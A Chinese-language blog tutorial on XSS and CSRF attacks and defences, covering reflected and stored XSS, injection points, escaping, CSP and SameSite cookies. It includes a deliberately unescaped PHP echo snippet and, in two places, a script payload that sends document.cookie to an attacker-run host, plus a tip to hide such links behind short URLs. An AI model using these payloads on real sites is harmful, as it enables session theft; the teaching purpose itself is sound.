浅谈 XSS 与 CSRF 攻防

最新推荐文章于 2024-05-21 23:02:39 发布

北冥有一鲲

最新推荐文章于 2024-05-21 23:02:39 发布

阅读量769

点赞数

分类专栏：性能与安全文章标签： xss攻击跨站脚本 web安全 csrf攻击跨站请求伪造

本文链接：https://blog.csdn.net/zhoulei1995/article/details/78988680

版权

性能与安全专栏收录该内容

11 篇文章 0 订阅

订阅专栏

本文详细介绍了XSS跨站脚本攻击的原理、分类和危害，包括反射型和存储型XSS，强调了防御重点在于不信任用户输入，通过转义特殊字符、设置CSP等手段进行防护。同时，文章探讨了CSRF跨站请求伪造的原理、危害及防御措施，如使用SameSite属性、验证码和CSRF Token。

摘要由CSDN通过智能技术生成

XSS 简介

XSS（Cross-site scripting）跨站脚本攻击，为了不和层叠样式表（Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本攻击缩写为 XSS。

XSS 原理

用户的输入内容被当作程序在网页执行。

XSS攻击

XSS 危害

偷取用户的密码和登录态
破坏页面结构
重定向到其它网站

XSS 攻击分类

XSS 攻击主要有两种类型，一种是反射型，另一种是存储型。

反射型（Reflected）

url 参数直接注入

我们会发现网站的某个内容是从 url 参数中获取的，这个时候就可能发生反射性 XSS 攻击。

<?php 
$content = $_GET['content'];
echo $content;

比如 test.com 网站后端代码如上所示，当我们访问 http://test.com/index.php?content=Hello%20world%3Cscript%3Ealert(%27try%20it%27)%3C/script%3E 时，就会出现如下界面
反射型攻击

也许有人会说，不就是弹个框吗，有什么大不了的。那如果 content 参数的内容改成<script>location.href='http://b.com?session='+document.cookie</script>，而这个 b 网站恰好是我写的，那么通过该链接访问网站的人他的 cookie 信息就泄露了，极有可能 cookie 里面含有账号密码信息。

当然如果直接把这个链接给别人，那么有点常识的人看到这个特别的 url 都不会点。但是，我们可以利用短链，将这些参数隐藏，这样别人中招的概率就会大大提高。

存储型（Stored）

存储到 DB 后读取时注入

这种类型的攻击一般发生在表单提交的地方，文章评论区居多。

不同于反射型，存储型攻击的危害要更大，他的传播面积广，存在时间长。

比如，当我们在评论输入了 <script>location.href='http://b.com?session='+document.cookie</script> 这样的内容，然后将他提交，内容便会保存到数据库。如果其他人，进入看网站，看到了这条评论，那么他就会中招。

XSS 攻击注入点

HTML 节点内容

节点内容

HTML 属性

<img src="{{picUrl}}">
<img src="x" onerror="alert('xss')">

当 picUrl 的内容为 x" onerror="alert('xss') 时。

JavaScript 代码

<script>
    var content = "{{name}}";
    var content = "xss";alert('xss');"";
</script>

当 name 的内容为 xss";alert('xss');"

富文本

一般富文本需要直接渲染一些 HTML 标签，所以这一块很容易出现 XSS 攻击。

XSS 攻击防御

对于 XSS 类型的攻击，防御的重点就是不信任用户的输入，对特殊的字符进行转移，包括 <、 >、 '、 " 等。

HTML 节点内容

数据输入时进行转义
数据输出时进行转义

例如：将文本内容的特殊字符 ('<' 和 '>') 进行转移输出。

HTML 属性

属性可以使用单引号和双引号以及不用引号，所以需要转义单引号、双引号以及空格。但是 HTML 中多个空格只会显示一个，一般情况是不转义空格的。

JavaScript 代码

和 HTML 属性类似，主要是转移变量中的单引号和双引号。

富文本

富文本主要内容是一大段 HTML。

解决思路：

按白名单保留部分标签和属性
按黑名单屏蔽部分标签和属性

CSP（Content Security Policy）内容安全策略

最后来看一种更优雅的解决方案，浏览器的 XSS Auditor，使得反射型 XSS 几乎被废；CSP(Content-Security-Policy)、X-XSS-Protection 可以禁止不可信源的脚本执行！

具体内容可以参考：https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP

CSRF 简介

CSRF（Cross-site request forgery）跨站请求伪造。与 XSS 一样，这里也出现了 cross-site，但是两者有很大的区别。

XSS：主要指本网站运行了外部的脚本程序
CSRF：主要指在外部网站运行程序，对本网站造成了影响

CSRF 更通俗具体一点讲，指外部网站在用户不知情的情况下，对目标（被攻击）网站发出了请求。

CSRF 原理

CSRF原理

针对“访问网站会带上该网站的 cookie，而 cookie 中又可能包含用户的身份”这一特性，外部网站可以在用户不知情的情况下，向目标网站发出请求

CSRF 危害

冒名发帖
冒名消费
冒名转账

CSRF 防御

禁止来自第三方网站的请求带上 cookie

为了从源头上解决 CSRF 问题，Google 起草了一份草案来改进 HTTP 协议，那就是为 Set-Cookie 响应头新增 SameSite 属性，它用来标明这个 cookie 是个“同站 cookie”，同站 cookie 只能作为本网站 cookie，不能作为外部网站 cookie。

SameSite 有两个属性值，分别是 Strict 和 Lax：

SameSite=Strict：严格模式，表明这个 cookie 在任何情况下都不可能作为第三方 cookie
SameSite=Lax：宽松模式，比 Strict 放宽了点限制：假如这个请求是改变了当前页面或者打开了新页面，且同时是个 GET 请求，则这个 cookie 可以作为第三方 cookie。

目前为止只有 chrome 浏览器支持 SameSite 属性